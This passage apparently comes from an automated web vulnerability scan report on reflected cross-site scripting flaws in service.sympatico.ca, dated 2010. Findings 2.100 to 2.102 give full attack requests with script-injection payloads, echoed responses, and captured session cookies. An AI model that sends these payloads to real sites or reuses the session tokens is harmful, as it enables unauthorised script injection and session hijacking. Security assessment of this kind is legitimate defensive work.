2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:09 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images41aac"><script>alert(1)</script>b4eb61a742f/bt_leftContact_on_en.gif" />
...[SNIP]...

2.100. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19b37"><script>alert(1)</script>f95f77dfcf8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif19b37"><script>alert(1)</script>f95f77dfcf8 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=WDCyQnWXgKVoTjm/uAsM+wYiszG2RW8NnvOAOejBqdvN8tbc85rhaUZurSJeAzgG2TpE5sB5VGwGnvzdFfZJz4Z3SJzx1AXNmw5a3sddcwWyuIQd6d2PaInGJza2ZdV+ubIqbTYBLshhNZOf2AaUCCqYnSQkSV1DQLD7LPvx3VlVJq5vparGzkSVYSHTKyVxaOGDCnxMyPy9bnSqnRV8SfiZFWwNpFxHP4LRT8qdEc4Zfys202EjFIgLG/8dseHwPEnEb/9zDuj/Xdh8eM5n8HaN5ajBlfPICvBOLdCeZmNjcXADBpKLiw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ndex.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif19b37"><script>alert(1)</script>f95f77dfcf8" />
...[SNIP]...

2.101. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5fe0"><script>alert(1)</script>50a8bbd8722 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif?d5fe0"><script>alert(1)</script>50a8bbd8722=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:47 GMT
Connection: close
Set-Cookie: SMSESSION=7jsWtNibReMYJI5g6z4xImv6SZM2BZ9GBCNwBFO6I2q1BwBLQLPtZ0Tq5Oyjv7J8thJyf4c+NiLTLVToL7/RCRW4zlZYZhMW1neHWQFJsnNZq0iXvzi0cTAoTWKlUy+QeFBmC+3R94K68fefJjBhA2GTa/2ZBf16PrmdoOMzk13mS7BQ0oH3fGzY0qwXRXqXwufag/uVDbXUk3WSMHfyQ2GA8CkzcTjAYLHTDyWpQi3cDJK2Lyl4U7pA/yEoaFxPFF17YqG8t8kcIauCGSmndDUo5gS1j/aqCtQdnYcPks3QZF3wqxOUcw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
dex.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif?d5fe0"><script>alert(1)</script>50a8bbd8722=1" />
...[SNIP]...

2.102. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 580a8"><script>alert(1)</script>4076d963b27 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C580a8"><script>alert(1)</script>4076d963b27/images/bt_leftFAQ_off_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:42 GMT
Connection: close
Set-Cookie: SMSESSION=YJ5dhadE3j/ymp/4ZDplk+NTlcomQ8lq7PU0fNJHdnMYHS5QYKOxNdtO7AM+lR4QJbDsg4DN5GNBqUZ0ThwhhKX9kt94ZWG/5eSENxmUdezj3LxFHrO1kG8EBkHfh1N5NDuHVhgZP2CT0FkzG+/K/hMVk5gJX2zabudNs3ds9voko1pRar0ECU+xXzVic3OL5CzUy30G2JMWpz3Um/ioFyXx+mOJy41USJdVGcIadaHrBw3H6HtBeGIXDaxZZ3pqge91aSCsOWdvl/bvOfAIkM4/Cc2UXROnuYZL1jG2f4e/rafQ2AJ/iQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:42 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:42 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:42 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:42 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:42 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
